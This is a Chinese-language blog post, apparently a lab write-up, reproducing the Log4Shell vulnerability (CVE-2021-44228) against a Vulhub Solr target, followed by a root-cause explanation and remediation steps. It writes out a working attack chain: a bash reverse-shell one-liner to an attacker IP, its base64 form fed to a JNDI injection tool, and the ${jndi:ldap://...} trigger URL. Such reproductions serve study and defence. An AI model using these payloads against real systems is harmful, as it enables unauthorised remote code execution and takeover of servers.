1454 字
7 分钟
Log4j2 远程代码执行漏洞(CVE-2021-44228)复现

CVE-2021-44228(Log4Shell)是 Apache Log4j2 的远程代码执行漏洞,CVSS 10.0,2021 年 12 月披露后席卷整个 Java 生态。Log4j2 对日志消息中的 ${} 语法解析过于宽松:不仅解析普通变量,还支持 ${jndi:...} 这类 JNDI 表达式,且不限制通过 JNDI 从远程加载类。攻击者只要让目标把一段 ${jndi:ldap://攻击机/xxx} 字符串写入日志(URL 参数、HTTP 请求头、表单数据均可),Log4j2 解析该表达式时就会连接攻击机的 LDAP/RMI 服务并加载恶意 Java 类执行,实现未授权 RCE。影响 Log4j2 2.0-beta9 至 2.14.1 全部版本。

复现基于 Vulhub 的 log4j/CVE-2021-44228 靶场(Apache Solr 8.11.0,JDK 8u102),使用 JNDI-Injection-Exploit 生成恶意 LDAP/RMI 服务,通过 Solr 管理接口触发 JNDI 解析并获取反弹 Shell,文末拆解消息格式化、JNDI、trustURLCodebase 三个关键概念。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-4422810.0Apache Log4j2 2.0-beta9 至 2.14.1远程代码执行(RCE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
# 安装Docker和docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
# 确认容器启动状态
docker ps
eda4bde0a45d vulhub/solr:8.11.0 "bash /docker-entryp…" 28 seconds ago Up 28 seconds 0.0.0.0:5005->5005/tcp, :::5005->5005/tcp, 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp cve-2021-44228-solr-1

可正常访问控制台页面 http://192.168.31.148:8983 说明启动成功:

Solr 管理控制台页面

端口扫描与服务识别#

Terminal window
nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
5005/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_102
|_jdwp-info: ERROR: Script execution failed (use -d to debug)
8983/tcp open http Apache Solr
| http-title: Solr Admin
|_Requested resource was http://192.168.31.148:8983/solr/
MAC Address: 00:0C:29:B3:23:74 (VMware)

8983 端口开放,运行 HTTP 服务,nmap 识别为Apache Solr(Log4Shell 漏洞靶机的核心服务)。

5005 端口开放,运行JDWP(Java 调试线协议),靶机 Solr 开启了 Java 调试模式,属于额外环境信息。

准备 JDK 8 环境#

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar需要 JDK 8,Kali Rolling 的默认软件源已移除 OpenJDK 8,需要手动下载:

Terminal window
┌──(kali㉿kali)-[~]
└─$ cd /usr/local
┌──(kali㉿kali)-[/usr/local]
└─$ wget https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
└─$ tar -xzvf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
└─$ mv jdk8u422-b05/ jdk8
└─$ export JAVA_HOME=/usr/local/jdk8
└─$ export PATH=$JAVA_HOME/bin:$PATH # 此处修改仅临时生效
└─$ java -version
openjdk version "1.8.0_422"
OpenJDK Runtime Environment (Temurin)(build 1.8.0_422-b05)
OpenJDK 64-Bit Server VM (Temurin)(build 25.422-b05, mixed mode)
└─$ javac -version
javac 1.8.0_422

生成恶意载荷并启动 JNDI 服务#

攻击机启动 nc 监听,接收反弹 Shell:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...

生成反弹 Shell 命令的 Base64 编码,并下载启动 JNDI-Injection-Exploit:

Terminal window
┌──(kali㉿kali)-[/usr/local] # 生成反弹Shell命令的Base64编码
└─$ echo "bash -i >& /dev/tcp/192.168.31.152/4444 0>&1" | base64 | tr -d '\n'
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK
└─$ wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar # 下载工具
# 格式:java -jar 工具包 -C "反弹Shell命令" -A 攻击机IP
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A 192.168.31.152
[ADDRESS] >> 192.168.31.152
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.31.152:1099/nh5zbf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/qma4qp
ldap://192.168.31.152:1389/qma4qp
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/z8a4er
ldap://192.168.31.152:1389/z8a4er
----------------------------Server Log----------------------------
2022-01-14 18:43:58 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-14 18:43:58 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-14 18:43:58 [LDAPSERVER] >> Listening on 0.0.0.0:1389

工具已启动 LDAP/RMI/HTTP 三个监听(8180/1099/1389 端口),并按不同 JDK 环境生成了对应的 JNDI 链接。靶机 Solr 运行在 JDK 8u102(早于 8u191),trustURLCodebase 为 true,选择 ldap://192.168.31.152:1389/z8a4er 这条链接。

触发漏洞#

浏览器拼接访问:

http://192.168.31.148:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.152:1389/z8a4er}

nc 监听端随即收到反弹 Shell,容器 id 与先前拉起的靶机一致:

nc 收到反弹 Shell,容器 ID 与靶机一致

漏洞核心原理#

两个关键概念#

Log4j2 的消息格式化功能:Log4j2 是 Java 生态最常用的日志框架,支持在日志中写 ${变量名},Log4j2 会自动解析这个变量并替换为对应的值。比如代码中写:

logger.info("用户IP:${ip}");

Log4j2 会把 ${ip} 替换成实际的 IP 地址,这是正常的格式化功能。

JNDI(Java 命名和目录接口):JNDI 是 Java 的一个接口,用于访问命名和目录服务(比如 LDAP、RMI、DNS 等)。通过 JNDI,Java 程序可以从远程服务器上加载数据或类。

// 通过 JNDI 从 LDAP 服务器加载一个对象
Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://192.168.31.152:1389/malicious");

正常情况下这是为了方便程序访问远程资源,被漏洞利用后就成了 RCE 的通道。

漏洞根源#

这个漏洞的本质是:Log4j2 对日志中的 ${} 语法解析过于宽松,允许解析 JNDI 协议的表达式,且未限制远程加载类的行为。

无过滤解析 ${jndi:...} 表达式:Log4j2 不仅会解析普通变量(如 ${ip}),还会解析 ${jndi:xxx} 这种 JNDI 表达式,只要日志中出现这个语法,Log4j2 就会自动调用 JNDI 接口执行 lookup 操作。攻击者在请求中传入:

${jndi:ldap://192.168.31.152:1389/恶意类}

只要这个字符串被写入 Log4j2 日志,就会触发 JNDI 解析。

允许远程加载类:JDK 8u191 之前的版本默认允许通过 JNDI 从远程 URL 加载类(trustURLCodebase=true)。当 JNDI 访问 LDAP/RMI 服务器时,不仅能加载数据,还能加载远程服务器上的恶意 Java 类并直接执行类中的代码。本靶机的 JDK 8u102 属于这一范围;更高版本 JDK 需要借助本地工厂类绕过。

输入可控性:攻击者可以通过任意能被 Log4j2 记录的输入(URL 参数、HTTP 请求头、表单数据等)传入 ${jndi:...} 表达式。比如 User-Agent、X-Forwarded-For 请求头、q 参数等,只要被写入日志,就会触发漏洞。

修复方案#

  • 升级 Log4j2 至 2.15.0 或更高版本(移除了 JNDI 远程类加载);
  • 无法立即升级时,在 Log4j2 配置中设置 log4j2.formatMsgNoLookups=true 关闭消息查找(2.10+ 支持);
  • JDK 8u191+ 已默认关闭 trustURLCodebase,可缓解但无法阻止基于本地工厂类的绕过,升级 Log4j2 是唯一彻底方案。

参考链接#

Log4j2 远程代码执行漏洞(CVE-2021-44228)复现
https://blog.mal-suen.cn/posts/2022/01/158/
作者
Malcolm
发布于
2022-01-15
许可协议
CC BY-NC-SA 4.0